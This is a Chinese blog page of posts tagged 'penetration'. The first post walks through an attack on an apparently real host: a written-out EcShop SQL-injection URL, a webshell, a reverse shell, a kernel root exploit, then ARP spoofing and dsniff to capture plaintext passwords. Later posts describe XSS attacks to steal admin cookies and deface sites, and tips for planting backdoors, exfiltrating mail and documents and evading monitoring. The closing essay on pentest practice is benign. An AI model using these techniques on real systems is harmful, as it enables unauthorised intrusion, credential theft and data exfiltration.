我的时光,停在了你的角落…~
Posts tagged 渗透
linux下渗透嗅探术
Dec 14th
文/饭 Beach
内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误区。但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破,到控制整个内网的全过程来跟大家讨论,内网的渗透嗅探术和安全防护一些内容。
在寻找突破时,更多的是从应用服务来,而应用服务最直观的信息采集,就是端口扫描,不同的应用,开放的服务不一样。所以,在对网络进行信息收集时,大概分为这样两步:
端口探测,程序指纹分析。在端口探测方面,个人喜欢用SuperScan来快速对网段里的应用进行判断,如图:
在掌握端口信息后,就要对服务应用程序的指纹进行分析,主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口,提交一个畸形的请求,如图:
从上图可以读取以下信息:
系统类型:Fedora
应用程序:apache/2.2.4
以上只是很简单的手工对程序指纹进行分析,当然在针对web应用的扫描器,还有很多,比较常用的wvs、appscan等。用轻量级的“wwwwscan”来扫描:
由扫描的结果可以看到,与手工探测的结果是一致的。
通上面简单的信息收集后,可以了解到网站架构是apache+mysql+php,直接请求URL:http://61.67.xx.116/htdocs/
发现此站是EcShop架构的站点,其使用的版本信息是V2.5.0。EcShop的版本是存在许多的注入点的。其中user.php文件有个注入漏洞,直接请求URL如下:
http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=’ union select 1,2,3,4,5,6,concat(user_name,0×7c,password,0×7c,email),8 from ecs_admin_user/*
获取管理员帐号和密码,ECShop使用的是MD5加密,直接解密。原来密码是admin,有点意料之外。访问管理后台,修改模版处,插入一句木马,即可得到WEBSEHLL,如图:
在获取WEBshell权限后,就需要对系统进行分析,查找Exp了。执行命令如下:
#uname –a
返回的信息是“Linux fedora 2.6.20-1.2962.fc6 “,Linux内核是2.6.20的。
在提权时,要用到gcc进行编译,刺探一下系统有没有安装,执行命令,
#gcc –help
发现可以运行gcc,并且系统管理员没对使用shell和gcc进行限制,在也是个安全缺失。
在寻找本地提权利用程序时,通常是根据系统版本来进行,应用程序的本地提权也是一样的。在网上就有可供查询的网站,比如http://www.milw0rm.com/网站如图:
发现可利用的漏洞还真不少。
本地提权是需要个交互式的shell的。在本机监听端口如下:
利用WebShell自带的反弹功能直接连接本地的12345端口并返回shell如图:
连接成功后,就能得到一个apache用户的shell
,但有时如果不能交互时,可以直接执行,
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);’
来得到交互的Shell,一般的系统都默认安装python
如图:
提示成功了,可以新建个目录用来存放提权的工具。
在Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出等,比较常用的溢出率高的,当属内核了。用Wget下载溢出源码,用到的漏洞是Linux vmsplice Local Root Exploit
,成功率蛮高的,gcc编译,执行,如图:
成功获取root权限,在选择溢出利用程序时,有时需要进行多次测试。
什么是Sniffer,sniffer是利用截获目的的计算机通信,通过分析截获的数据,提取敏感信息的工具。但其通过什么方法来截获数据呢?在此之前得解释一下arp(Address Rrsolution Protocol)协议,即地址解析协议,它位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。它靠维持在内存中保存的一张表来使IP得以在网络上被目标机器应答。在数据传送时,IP包里就有源IP地址、源MAC地址、目标IP地址,如果在ARP表中有相对应的MAC地点,那么根据最优选择法,直接访问,如果,没有对应的地址,就要广播出去,在网内寻找对应的地址,如果对方的IP地址和发出的目标IP地址相同,那么对方会发送MAC地址给源主机,,而此时,如果攻击者也接听到发送的IP地址,它就会仿冒目标主机的IP地址,然后返回自己的主机的MAC地址给源主机,因为源主机发送的IP包没有包括目标主机的MAC地址,而ARP表里面又没有目标IP和目标MAC地址的对应表,就会接受攻击者的MAC而选择与其通信,所以就此产生了ARP欺骗。在系统刚启动时,可以在DOS下输入命令“arp -a”来查看本机arp缓存表的内容,如图:
我们来与IP192.168.0.5进行通信,通信后arp缓存表就会有这样一条MAC地址和IP对应的记录。如图:
在本机多了条缓存中的IP和MAC的对应纪录。
Dsniff是一个著名的网络嗅探工具包,其开发者是Dug Song,其开发的本意是用来揭示网络通信的不安全性,方便网络管理员对自己网络的审计,当然也包括渗透测试,其安装包里某此工具,充分揭示了协议的不安全性。作为一个工具集,Dsniff包括的工具大致分为四类:
一、
纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy
二、
针对SSH和SSL的MITM”攻击“工具,包括sshmitm和webmitm
三、
发起主动欺骗的工具,包括:arpspoof、dnsspof、macof
四、
其它工具,包括tcpkill、tcpnice
Dsniff的官方下载:www.monkey.org/~dugsong/dsniff/ 这个是源码包,解压后可以看下README,提示需要五个软件的支持:openssl、Berkeley_db、libnet、libpca、libnids
下载地址如下:
Berkeley_db: http://www.oracle.com/technology/software/products/berkeley-db/index.html
libpcap: http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz
ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm
ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.el5.i386.rpm
ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.el5.i386.rpm
系统一般默认都有安装openssl、libpcap。
|
一、 Tar包安装 如果下载的是源包,文件如下:openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz a) 安装openssl 用tar解压软件包手,执行三条命令 #./config #make #make install b) 安装libpcap #./config #make #make install c) 安装libnet #./config #make #make install d) 安装libnids #./config #make #make install e) 安装libnids #./config #make #make install f) 安装Berkeley DB #.cd build_unix #../dist/configure #make #make install g) 安装dsniff #./configure #make #make install 程序安装好后,先查看一下网卡信息,然后开启服务器IP转发,命令如下: # echo “1″ > /proc/sys/net/ipv4/ip_forward |
先来双向欺骗,用到arpspoof,其命令是:
#arp –t 网关
欺骗主机IP
如图:
arpspoof已经开始工作了,可以用tcpdump查看一下被攻击主机是否有数据经过
命令如下:
#tcpdump –I eth0 host 61.67.x.115
如图:
有数据交换,说明欺骗的比较成功,然后用Dsniff开始嗅探目标主机,命令如下:
#Dsniff –c –f /etc/dsniff/dsniff.services
这个dsniff.services自然就是保存端口和服务对应关系的文件,如需要保存到文件,需加-w filename数据全是明文传送的。所以数据分析完全能用肉眼发现,如图:
从这条数据可以看到HTTP登录和FTP登录信息,帐号和密码全是明文的。而经过测试,通过FTP上传的目录正是WEB目录,获取WEBShell权限,继续提权即可控制主机。Linux下的嗅探,其实更容易一些,在最近爆出的高危本地提权,不知道有多少台主机沦陷呢?在攻与防的游戏里,系统管理员往往显得如此的无助。
xss简单渗透测试
Jul 27th
xss简单渗透测试
Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2008-12-24
From: http://www.80sec.com/release/xss-how-to-root.txt
[ 目录 ]
0×00 前言
0×01 xss渗透测试基本思路
0×02 一次黑盒的xss渗透测试
0×03 一次白盒的xss渗透测试
0×04 总结
0×00 前言
在web蓬勃发展的今天,xss毫无疑问已经变成最“流行”的漏洞,我曾经在安全公司的渗透测试报告里看到列为数十的高危xss漏洞,也看到越来越多的安全研究人员将目标投向xss攻击,发现100个甚至1000个之上的xss。xss变得如此流行的原因我猜测有几点,首先输入输出是一个应用程序最基本的交互,一个提供服务的应用程序可以不操作数据库,可以不与系统交互,但是肯定会将程序的处理结果返回给浏览器,加上程序员如果意识不到位,就必然发生xss,对于一个互联网公司,这两方面的因素加起来就会导致这个漏洞数量就非常可观,所以可以经常见到互联网公司如腾讯,新浪,百度,搜狐等等的xss漏洞报告。
但是,在谈论xss的时候往往大家都会说这是一个xss漏洞,而不会提到这是个什么类型的xss漏洞,甚至这是个什么场景下的xss漏洞,包括有效的攻击方式上都不会去提,即使提到也是一些传说的危害譬如蠕虫,譬如挂马,譬如窃取用户信息,乃至钓鱼攻击。甚至由于种种原因,大家往往关注漏洞两个字甚于前面的xss。作为安全研究人员,这是一种不负责任的行为,这种行为的后果就是网络安全淡化为web安全,web安全淡化为xss,而xss淡化为alert(),总有一天程序员会不再信任我们,真正的威胁依然停留在系统里。这方面也有国际上的原因,太多的安全研究人员将重点放在xss的研究上,我不知道是否是国外的安全水平已经达到如此需要关注xss的水平,尽管xss是最普遍的漏洞,但是从黑客的利用程度上来看远远不如一个命令执行,一个文件上传漏洞来得实在。我相信Google已经达到这水平,但那只是Google,不是我们。
我这里不想谈论如何防范xss漏洞,如果在你的系统里发现1000个之上的xss,那你就应该停止寻找更多的xss而该去想想如何从根源上杜绝xss,即使杜绝不了xss那也应该想想xss在这里是不是有什么可预见的风险,如果有的话那有什么方式可以将xss的危害弱化乃至一段时期内可以接受的程度。作为一个黑客实用主义者,我这里将描述一次xss渗透测试的简单思想以及实现,与学院派不同,渗透测试不能只是说说而已,必须真实的获取自己想要的东西才可以是成功。
0×01 xss渗透测试基本思路
在谈论具体的xss攻击之前,我们一定要清楚地知道我们的xss所处的位置在哪以及我们的xss的类型,也就是我上面说的xss攻击场景。反射型的xss比起持久型的xss来效果是不同的,访问量大的xss点与访问量小的xss点是不同的,发生在http://www.google.com和发生在https://www.google.com的xss点是不同的(你应该知道为什么不同),发生在前台的xss点与发生在后台的xss点同样不同。分析应用程序我们可以很快确认我们的xss点的场景,这在开放的程序里比较好确认,后面我们将讲述如何在一个黑盒的环境下分析出攻击的场景。
在确认好xss点的场景之后,我们可以根据我们的目的来决定后续的攻击方向和思路。如果发生的点是一个持久型的并且访问量比较大,你可以依据自己的喜好是否来引起一次混乱;如果你有幸发现发生的点是在管理员的后台或者你可以通过某些方式和管理员的后台进行交互,那么你可以考虑是否需要通过窃取管理员的cookie来尝试进入后台,到目前为止,窃取cookie依然是最有效的攻击方式,尽管某些xss攻击平台可以演示很炫的攻击效果(前提是你的目标会在一个页面停留2个小时,这种情况比较少发生);如果发生的点是一款开源的或者所有数据请求你都可以分析的程序,你可以考虑利用xss做一些数据提交,但是前提是依赖于你的xss点发生的场景;或者大气点,有浏览器0day的直接上浏览器0day吧,成本有点高,看收获值不值得了,目前为止貌似这么说的比这么做的多:)
攻击方向和思路确定之后后面的就是一些常规的体力活了,编写攻击代码,获取最终想要的东西,但是这过程可能并不是一帆风顺,甚至需要反复的调试攻击代码以保证最终的效果跟预期的一致。
0×02 一次黑盒的xss渗透测试
因为某些原因我们很想测试下国内一个比较有名的评论网站,我们简单测试常规的安全漏洞之后我们没有发现什么有意思的如SQL注射之类的安全漏洞,甚至我们还没有办法找到它的后台,但是我们发现了他们的一个xss漏洞,比较悲观的是这是一个反射型的xss漏洞,所以我们不能直接把他页面黑了(如果是持久类型的xss,攻击目的就是破坏或者测试的话就可以考虑这么做,当然,如果是为了YY也是可以的)。我们不要YY,我们要shell。通过对站点的分析我们发现系统有个投稿功能,通过审核之后就可以发表。既然会有审核那么就意味着应该有后台之类的东西,同时我们实际上获得了一个和管理员交互的平台,因为我们写的内容他们肯定会看。于是我们将编写好的xss exploit url写到文章里,并且声称在他们的站点内发现了一个黄色的文章。这个xss exploit url会请求我的某个php文件,这个文件将记录所有请求的referer,cookie,ip,浏览器类型和当前的location。等待几十分钟之后,我们顺利获得了这些基础信息,但是我们发现这里的location和referer只能获得我们的xss exploit url,这跟我们希望获得的管理员后台并不一致。分析管理员在后台的操作我们大概可以知道他是点击连接来访问这个url的,那么我们是可以获得opener窗口的一些信息的,包括location等等。在获得location之后我们还是很失望,这只是一个内容展现的窗口,并不是后台的真正管理的地址,后台应该是有一个iframe类的东西,于是我们再次通过top.location获得后台的地址,这次对了,在我们的面前出现了后台登陆的地址,后面的利用窃取的cookie进入后台很可行哦:)但是我们在尝试利用cookie进入后台时依然出了问题,我们的cookie看起来并不有效,这是为什么呢?后来几次测试之后才发现程序做了cdn,我们访问到的登录地址并不是cookie所在的服务器,做了个host之后我们顺利登录进后台,后台界面出来的一瞬间让人感觉真是幸福:)后面的就简单,找后台的上传,传webshell,涂首页:)
很明显,在这样一个场景下如果说到xss来做蠕虫肯定是不现实的,对于一个评论网站来说钓鱼也没有什么实际意义,对一个连用户机制都没有或者有用户机制但是用户交互比较低的应用程序来说偷取用户cookie同样也没有价值。而真正攻击的过程中也不是简单的说说那么容易,应用程序有很多机会可以防止这种攻击的发生,包括cookie和ip绑定,cookie做httponly,后台设置登录ip限制等等(不要跟我说那些看起来很神仙可以反弹的xss工具,这就跟物理学里面的理想环境里的实验一样不靠谱)。
在对未知的程序进行测试时,可能某些xss点发生在后台等我们未知的地方,而如果我们直接提交敏感的语句如<script>alert()</script>等过去的时候,我们是无法知道程序的返回结果的,而且一旦程序对输入做了处理,在后台出现乱码等字符时,很容易引起别人的警觉。这个时候我们引入类似于渗透测试中经常使用的扫描的手法,在xss渗透测试时我们可以利用
0×03 一次白盒的xss渗透测试
因为某些原因我们想黑掉某个人的blog,该blog系统的源码我们可以从网上获取到,在简单审核一些代码之后我们没有发现明显的SQL注射之类的漏洞,但是发现了几个非常有意思的xss漏洞,该漏洞同样是反射型的xss,但是因为程序的原因可以使得exploit url变形得非常隐蔽。由于程序开源,我们通过本地搭建该环境可以轻松构造出可以加管理员,可以在后台写shell的小型exploit,并且将exploit通过远程的方式隐藏在前面的exploit url里。通过分析该程序发现在评论回复时只有登录才可以回复,而目标经常性回复别人的评论,所以我们发表了一个评论并且将exploit url写在里面,通过一些手段诱使目标会访问该url。在等待几个小时之后,我们看到该评论已经被管理员回复,那么我们的exploit也应该是被顺利执行了。上后台用定义好的账户登录,很顺利,shell也已经存在。OK,最后就是涂首页:)
对于这部分没有什么特别好说的,因为所有的数据和逻辑都是公开的,但是非常重要的一点依然是我们的场景。在某些应用程序里,因为前台的交互比较多,发生xss的点是前台,大部分用户的操作也都是前台发生的,但是这部分的权限非常没有意义,我们往往需要特定目标先访问后台,然后从后台访问我们的xss点才能获取相应的权限。这部分的攻击就变得比较困难了,而上面的攻击里,由于目标肯定会先访问后台然后访问该xss点,所以xss变得有趣多了。
0×04 总结
xss的利用是一件非常有意思的事情,甚至可以独立于xss的查找成为一门学问,最关键的一点是所有的xss都不要脱离场景,脱离场景地谈论漏洞很不负责任。我给出的例子都是比较简单的,希望可以与大家更多地讨论更多的有意思的攻击。
本站内容均为原创,转载请务必保留署名与链接!
xss简单渗透测试:http://www.80sec.com/xss-how-to-root.html
渗透,目的不单纯
May 31st
帮朋友忙 帮到目的不单纯 好可怜 被好多兄弟教训了
甚至被威胁了下…
总结下 教训…
关于单臂路由如果掌握到设备权限还是可以继续玩,另外一些对拨的vpn如果没有做好限制也可以溜达溜达,如果是帮忙的话 还是小心翼翼的溜达,不要做什么很实际的操作了,因为…
先说设备
IPS IDS 自然不说了 现在这些都搞复合呢 all in one 行为管理也有给复合进去的
在说流量报警和时间 流量报警现在和手机整合的 就是说如果在一个日均1Gb流量的网络下载一个大家伙流量超出界定范围会被发送到手机流量异常,说到手机这个东西现在的确发达了,有时候发邮件也要先搞清楚对方是不是手机在收,不过有些人貌似有手机软件的0day …
然后有比较业务化的一些规则 比如行为+时间 这样算因子?或者还有更多因子的 比如在9:00-17:30之外玩个IPC$或者ftp外部再或者发个邮件,那么又被记录了…
说到这里好像记得电子科技大学一个老师讲那个搞某大公司的牛人将搞到的东西分成NNNN个份更改为容量不大于某值的.gif,然后每天定时定量分多次下载… 回想自己好像根本就没这方面的意识…这次丢人丢大了
说说这次吸取的教训和累积的经验,当然主要是对一些相对严格的网络环境
1、不要采用相同的留后门的方式
虽然自己平时也不用后门,但是有时候为了方便还是要装下,这个时候对自己占领的土地一定要分块分类型来安装后门,如果手法只有一种那么很可能被一次扫地出门(这点感谢叮当给的意见)。
2、留后门也要看人
留后门选什么样的机器也是一种学问,如果找一个CTO的机器给他屁股上开个洞他会很敏感滴,这次我被cto猛揍了一顿,选一台边缘机器吧,比如财务菜鸟…比如公共用的上网机..
3、时间很重要
在拿到某设备权限后看到一张自己创造的流量图,我竟然搞出在对方的凌晨1点web上流量峰值和下午5-6点的值竟然持平,所以以后要养成习惯,先分析设备,分析时差,然后再考虑下一步的动作。
4、别映射磁盘了
这个不多说了,映射很容易被发现,太明显了,还是dir来看吧,看到想要的xcopy回来好了,这样至少安全点。(这点感谢”九局下半”这个名字是艺名,复ID)。
5、关于vpn
一些对拨vpn设置比较变态,但是如果分析清楚架构是可以穿透这些限制,当修改这些配置的时候应该先停止设备通知,再备份配置,添加直接入口,最后再改设置,这样可以保证自己搞错时还有机会更改。
6、熟悉服务
熟悉网络后要熟悉服务,这样挑选对方主要网络服务,主要软件,然后在fileserver上做些手脚,当然时间要克隆一下,也别动太疯狂了,另外切记选好目标,不可以随便找个adobe的pdf浏览器下手,如果遇到负责的管理员,adobe更新软件之日就是那特洛伊的忌日了,。
7、找找同行
这个情况很常见,这次也遇到了,这时最好是分析分析和我奋战在同一服务器的兄台什么时间来玩、怎么玩、玩了之后留下些什么,这样当自己再也无法闯进去的时候、或者这位兄台不仗义把我一脚蹬出去的时候,我还可以拿他钥匙再来坐坐。
8、邮件&文档
选择好时间,尽量在不触发设备规则的时候把pst文件和重要文档down了,另外在清理自己痕迹前最好先把服务器日志完整down一份,方便以后分析。
扯了这么多都是这次吸取的教训,血泪的教训…
贴士:
今天看到一句话,很是崇拜
“一个人什么都会就意味着什么都不会;当你觉得自己一无是处的时候离成功才最近”
Posted by FireFox
Plurk蠕蟲、Twitter蠕蟲、MySpace蠕蟲與911於管理面之啟示:滲透測試的新觀念,讓軟體重生吧!
May 11th
今天好幾件事讓我有感而發。最近由於一方面阿碼有幾位從事滲透測試多年的朋友加入,我們重新組織了ASF(Armorize Special Forces)團隊,一方面剛好看到了幾篇最近大家寫的滲透測試文章,讓我也想寫一下我們對於滲透測試的看法。
首先我們來看滲透測試的定義。滲透測試比較傳統的定義,簡而言之,就是由資安專家模擬駭客之攻擊,找出安全漏洞,評估風險等級與建議處理之優先順序。但是近幾年,滲透測試有了新的思維與新的思考模式。
以網站安全來說,在傳統的思考邏輯中,防守方式因為不熟悉駭客攻擊之手法,因而無法做好防守。然而這幾年經過OWASP、WASC,以及各國指導單位如台灣研考會,資策會技服中心,軟協等大家之努力,大部分防守方已經很清楚威脅之來源。然而威脅依然沒有解除,網站還是天天被駭,這問題到底出在哪裡?難道守方比攻擊者笨嗎?
[911事件]
在911攻擊事件中,美國被住在沙漠山洞中之賓拉登團體直接攻擊心臟,擊毀了全國最重要的兩棟大廈,裡頭盡是美國之菁英。難道美國各情報單位不了解賓拉登所計畫之攻擊手法?難道住在沙漠山洞中之賓拉登團隊,比起美國各菁英特種部隊,擁有更好的技術?更先進的科技?更龐大的資源?更優秀的人才?如果沒有,美國又早知道攻擊手法,為何無法有效阻擋攻擊,避免911事件之發生?
這個情況與現今資安狀況剛好相同。如果沒記錯,Cross site scripting (XSS,跨腳本攻擊漏洞)約於1996年正式被定義,SQL injection(SQL注入漏洞)則約於1998年被定義(rf-puppy? meer?)。這些都是很老的漏洞了,然而一直到今天,我們還一樣在處理相關漏洞。這幾天公司幾位同事討論讀書會之成立與規劃,fyodor直接說,裡頭一定要有跟Web漏洞一點關係都沒有的hacking,因為任何跟XSS/SQL有關的研究,都「無聊至極,讓人想死。」fyodor說:「拜託來些跟internet與Web都無關的好嗎?」
沒錯,不論是buffer overflow(緩衝區溢位)或是XSS/SQL或是ARP Poisoning/spoofing,對於已經為了工作而處理了十年的我們來說,有時真的是…很…無…聊…。上述這些都是超過十年的老攻擊,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡、這裡、這裡),不但本質上沒多大差異,也大都是年輕人在玩的,進入資安比較久的人,早就不玩了(可憐苦命的我),或像NMAP作者fyodor v.於去年美國Black Hat在台上公開的說XSS是「很娘的東西」,贏來台下一陣掌聲。
可是為何在2009的今天,仍然對於守方來說,仍是很大的威脅?
原因是這是一場不對等的戰爭,攻擊雖難,防守更難。911事件中,攻擊方贏是贏在攻擊之後。攻擊結束後,攻擊方可以去渡假三年,可是美國卻要在每一班國內班機,每一場公眾聚會,每一次中型以上活動中,都增加安檢措施,對於整個邊境做27*7*365的防守,這些措施所提升的社會成本非同小可。賓拉登的攻擊方式很容易了解,就像XSS/SQL/CSRF一樣,但是並不容易防守。美國邊境很長,敵在暗我在明,又需要考慮任何防守措施所帶來的社會成本,在不知敵人將於何時進攻何處之情況下,防守所需要思維的面象,不是懂得攻擊就夠的!
[Twitter蠕蟲]
又以這次Twitter蠕蟲為例,Twitter團隊經過四次修復,都宣稱已經將漏洞修改好,但是其實並沒有修改對。這次Twitter蠕蟲也在WASC的mailing list上掀起一些小戰爭。看來已經是全球最大牌的資安研究員之間,仍無法取得共識,對於XSS,怎樣算是最好的修改方式?
(上次guo-rung問得很好,我也一直沒空回答。事實上以PHP中的XSS弱點為例,大家常推薦的htmlentities()就不是對付XSS的最佳字串處理函式,因為htmlentities()只是做到html-safe而已,並沒有tag-safe或script-safe。譬如如果不安全的字串出現在tag中或<script>中,htmlentities的處理就無效了。)
在這個事件中,攻擊手法很簡單:XSS,漏洞發生在程式哪一行也已知,但是多次修補卻沒有修對。這是為何我深深覺得其實資安專家都需要同時具備技術與管理方面之經驗。在許多防守之措施中,投資報酬與資源利用皆為重要之考量,在滲透測試或任何資安投資中亦是如是。今天的滲透測試,早已非僅止於「偽駭客攻擊」之執行,主要原因有二:第一,攻擊或找出漏洞,並不代表資安的提升;第二,執行之資安團隊所花之時間,直接轉價變成客戶之成本,故資安專家之時間,不能只花在模擬駭客攻擊上。
[Plurk蠕蟲]
今天我身體不適蹲在家中,朋友請我幫忙改他的blog與Plurk的架接,看著朋友寫的程式突然覺得很奇怪,感覺Plurk架構上有漏洞。於是在約15分鐘內,我沒有利用任何滲透測試工具(Burp/Paros/OWASP Webscarab之類),連”view source”都省了,註冊了我的第一個Plurk帳號(armorize被誰拿走了?另外不用follow我,我的Twitter在弄完蠕蟲後也早荒廢了),然後直接對照朋友的程式就寫了一隻蠕蟲,沒有幾行,連javascript都不用,跑起來還真的work,趕快Google查一下有沒有Plurk的聯絡方式可以把蠕蟲給他們。結果發現Google排名第一的連結告訴我,原來早在四月出,Twitter蠕蟲爆發前幾天,Plurk就公開徵求大家幫忙找弱點,大家也幫忙找了不少。一共92篇的留言,大家真的很積極;另一方面,首席工程師amix的blog上,也有場小戰爭,與當時Twitter蠕蟲造成WASC成員看法不同一樣,大家對於如何修改,有著不同的意見。
我說這麼快寫一隻蠕蟲,並不是說我們很厲害;這些蠕蟲這幾年大同小異,沒多大變化,相信很多本blog讀者都能比我寫得更快,找得更多(當然,等對方修完後也會公開讓大家參考)。但是重點是,找到漏洞後呢?如何有效正確的修補?這次發現的Plurk漏洞為全面性的,amix表示將需要多一些時間做全面性的改版,跟我預期的一樣。這就是我想說的:攻擊難,但是防守更難。
[「駭」得更安全?]

去年OWASP美國年會於九月在紐約舉辦,在開場中,OWASP的主席,也是Aspect Security的創辦人與CEO Jeff Williams 說道(上面影片約7:25時):
『One thing we can do, is we can get our priorities straight.』
『我們該怎麼做?我們需要把我們的優先順序弄對』
『Many organizations spend most of their app security budget on “hacking,” doing pentesting and scanning.』
『很多單位把他們大部分的資安預算花在 “駭” “hacking”上,也就是做滲透測試跟掃瞄』
『Now, there’s nothing wrong with those things, they’re important, but we’re not going to hack ourselves secure』
『這個沒什麼錯,這些工作是重要的,但是我們沒辦法把自己「駭」得更安全』
『We don’t prioritize by what tools can find, but by what matters』
『我們不應該由工具能找什麼,來決定優先順序,我們應該依照什麼是重要的來排』
Jeff的公司Aspect Security沒有生產產品,是一家純顧問公司。既然是顧問公司,為何要質疑滲透測試?我認為他質疑的是舊的,僅限於『偽駭客攻擊』的滲透測試觀念。那怎麼算是一個好的滲透測試團隊?滲透測試跟黑箱與白箱的掃瞄工具,以及跟WAF(Web應用程式防火牆)比起來,又該如何選擇?
在討論這個問題時,我們可以把問題大致上分為:人工vs.工具、黑箱vs.白箱以及偽駭客攻擊vs.白帽協助防守等三方面來看。
2007年我們在台灣第一次舉辦2007 OWASP亞洲年會時,我費了好大一番勁,邀到了WhiteHat Security的創辦人兼CTO Jeremiah Grossman,他是XSS一書的作者,並希望他講一些新的滲透測試觀念。於是他於台北首次演講『商業邏輯錯誤』,他去年在美國Black Hat 2008年會上,其實講的東西很類似,台灣大家賺到了。因為那時我在推展我們的源碼檢測工具的過程中,就發現大家對於人工vs.工具之比較,比較模糊。簡單的來說,Jeremiah當年所示範的『商業邏輯錯誤』,就是工具所無法找到的漏洞型態。去年OWASP亞洲年會,我邀到了從印度來的KK,也是講一樣的東西。但是重點不是工具與人何者能找哪些漏洞,何者找的比較好。我們公司同時研發自動源碼檢測工具,同時有滲透測試團隊,很多人當時有問,不衝突嗎?當然一點也不衝突。
[人工vs.工具]
人工vs.工具的比較,重點在於,人每做一天,就要算一天的工資,而工具是可以無限制的重複一直使用。所以說,工具雖然不能找到所有形式的漏洞,但是工具找漏洞有四大好處:
A. 可以無限制重複使用,找到漏洞的成本相對低。
B. 工具可以與開發流程、軟體生命週期、以及公司內部程序結合,因此很多公司要通過各種認證,需要在程序中結合工具。我沒說通過認證就一定做好了資安,但是大國如美國,認證是一定得過的。
C. 因為可以重複使用,故可以每天或甚至每小時使用,提早找出漏洞,降低修補成本並縮短資安空窗期。
D. 工具對於其所擅長找的弱點種類,可以很穩定並且無失誤的掃瞄大規模的系統,人則可能有失誤,例外時間有限,因此在涵蓋率上,工具有優勢(我們常協助客戶掃上百萬行的程式,如過用人工,要如何用眼睛看?)
但是人工具有以下優點,是工具所永遠沒有辦法取代的:
A. 不只是邏輯性的錯誤,還有一堆無線、架構、設定、與新型的各種漏洞,只有靠人工能找。工具只能掃瞄很成熟(很無聊)的漏洞,例如OWASP Top 10中的XSS與SQL injection等。
B. 攻擊是一種藝術,人才有這種嗅覺,有時看一個人有幾年的經驗,看猜密碼的能力就知道了。這種敏銳度,很難解釋,人腦是很複雜的,其威力遠勝過任何工具。
C. 有能力的滲透測試團隊,可以協助修改程式。我說過,找漏洞雖難,正確的修改更難。
在滲透測試執行的過程中,專家們往往都會拿出自己經年累月累積的一套工具組,透過工具之上述優點,配合人工的判定與智慧,以期提供最優質之服務給客戶。但是如果您是買方,結果拿到的報告中,大部分都是自動工具可以掃瞄出的漏洞,那麼你可能沒有讓您聘僱的滲透測試團隊,做最有效率,投資報酬率最高的發揮。因為在工具就能找到的部分,其實可以由您自己掃瞄,提早找到漏洞並降低修補成本。要記得國內滲透測試通常是一年做一次,滲透測試中才找到的漏洞,很可能已經存在多時了–如果提早自己使用工具,則可以縮短資安空窗期。我們這些資安顧問的時間,希望是花在幫您找尋工具所無法找到的如邏輯性錯誤等漏洞,或花在協助您正確的修補漏洞上面。
[黑箱vs.白箱]
Wikipedia上的定義,將滲透測試(penetration testing)分成黑箱(blackbox)與白箱(whitebox)兩種。簡單的說,黑箱就是很像駭客一樣,在沒有比外在駭客更多資訊的條件下,由滲透測試團隊執行『駭客任務』。這種滲透測試是大家都很喜歡做的,因為做滲透測試就像是解一個謎題一樣,除了技術外,靈感,嗅覺,經驗也都是重點–駭客技術永遠是一套藝術。但是就像我之前介紹DEFCON 2008上Chema的Blind SQL injection手法一樣,我們假設執行的過程中有以下步驟:
A. 手動找出Blind SQL injection漏洞
B. 使用Chema的工具,利用blind SQL injection暴力找出table名稱或欄位名稱
C. 進一步從table中成功取得管理帳號與密碼之hash
D. 利用高階機器跑暴力程式,成功將hash反解出密碼
E. 示範利用正確之帳號與密碼登入,整個偽駭客攻擊至此結束
這些步驟,執行時甚為精彩,不但資安專家樂於其中,客戶也常常看得拍掌叫好。可是問題有兩個(尤其在不景氣的經濟下):
A. 找到漏洞代表提升資安品質了嗎?Blind SQL injection在哪個程式的哪一行?如何正確修復?
B. 如果有效利用專家時間,否於步驟(A)後,就應該直接協助修復?因為後續B-E所需的時間,可能遠超過修復所需的時間。
這就是Jeff說的:『但是我們沒辦法把自己「駭」得更安全』之精髓!
在白箱測試中,不論是工具或是人工,資安專家或工具由於擁有比一般真的駭客豐富許多的資訊,例如系統架構文件或程式碼等,給了資安專家或自動工具莫大的優勢,能更有效率地找出漏洞,並協助修補之。這就回應了我前面說的,在911事件中,防守遠難於攻擊,因為防守需思考成本等多種面象。
在這方面,白箱更能有效率、低成本地提升資安水平。擁有十年以上滲透測試經驗的fyodor曾說,黑箱滲透測試,其實是很沒有效率的,通常發生於雙方第一次合作,互信基礎不足,或買方有特殊原因或規範,無法提供白箱資料時。合作久,擁有充分互信的雙方,一定會開始做白箱的滲透測試,或叫『secuity review』也許比較恰當。在工具方面,根據最新的一份Gartner報告指出,2008年,白箱工具的市場已經後來居上,超過黑箱了。整個201M美金的黑白工具市場中,有126.9M是白箱,約佔63%。白箱工具去年市場成長了35%,相較去年只成長了6.5%的服務市場(包含滲透測試,code review等等)來說,相對高出很多。整個2008資安服務市場則為197M美金,略低於工具市場的201M。
[偽駭客攻擊vs.白帽協助防守]
